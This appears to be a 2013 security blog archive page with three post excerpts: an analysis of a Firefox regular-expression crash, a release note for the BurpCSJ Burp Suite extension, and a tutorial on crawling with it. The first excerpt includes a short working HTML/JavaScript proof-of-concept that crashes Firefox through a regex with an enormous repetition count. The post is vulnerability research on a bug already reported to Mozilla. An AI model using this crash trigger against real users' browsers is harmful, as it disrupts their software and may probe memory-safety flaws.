Skip to main content

Posts

Showing posts from 2013

Crashing Firefox with Regular Expression

Recently, I have found an interesting crash in Firefox and decided to investigate more. So I decided to Google for it and it appears that the issue is already known and was reported few months ago to Mozilla.
However, the bug is not fixed yet (at least in FF 26) and as a matter of personal exercise, I have decided to dig a little deeper and collect some notes which I am sharing in this blog post.
Here is a brief analysis of what I have found, thanks also to the pointers given from my friend Andrzej Dereszowski.

This is the crash PoC:

<html>
<head>

<script>
function main() {
regexp = /(?!Z)r{2147483647,}M\d/;
"A".match(regexp);
}

main();
</script>
</head>
<body>
</body>
</html>


Below, a windbg screen shot showing the crash on Firefox 25 / Windows 8.1 (64bit):



At this stage, we can infer that an overflow occurred and as a measure of protection FF decided to crash instead of gracefully handle the issue. In my PoC, you can see already the int…

BurpCSJ extension release

As part of my research and talk titled "Augmented Reality in your web proxy" presented during the HackPra AllStars program / OWASP AppSec EU 2013  security conference in Hamburg, I decided to release a new Burp Pro extension which integrates Crawljax, Selenium and JUnit.

I decided to take this approach to increase application spidering coverage (especially for Ajax web apps), speed up complex test-cases and take advantage of the Burp Extender API.
Downloads
BurpCSJ extension JAR - download (all dependencies included)BurpCSJ source code - github
"Augmented Reality in your web proxy" - presentation (slideshare)Getting started Download BurpCSJ;Load BurpCSJ extension jar via the Extender tab;Choose the URL item from any Burp tab (e.g. target, proxy history, repeater); Right click on the URL item;Choose menu item "Send URL to Crawljax";Crawljax will automatically start crawling the URL that you choose. Tutorials
- BurpCSJ tutorial - Using Crawljax
Screenshots






Videos

BurpCSJ Tutorial - Using Crawljax

This is a simple tutorial to get you started with BurpCSJ and Crawljax.

Installation is easy - just download the BurpCSJ and import it in Burp via the extender tab, as shown below:

Extender -> Add -> Choose File



Once the extension is loaded, two new tabs will appear on the right side:



Start crawling

To start crawling, grab an URL item from any Burp tab (e.g. proxy history), right-click on the item and choose "Send to URL to Crawljax", as shown below:

After this, Crawljax session will start based on settings configured via the Crawljax tab. It is always recommended to choose a web root URL item for Crawljax e.g. http://yoursite.xxx/ instead of a specific page or folder. This is typically the URL that you have configured under Target/Scope in Burp.
Crawling with a different browser

Under the Crawljax tab, it possible to configure the path to the browser drivers, proxy settings and other options for Crawljax.


If you need to use a different browser with Crawljax, then you would …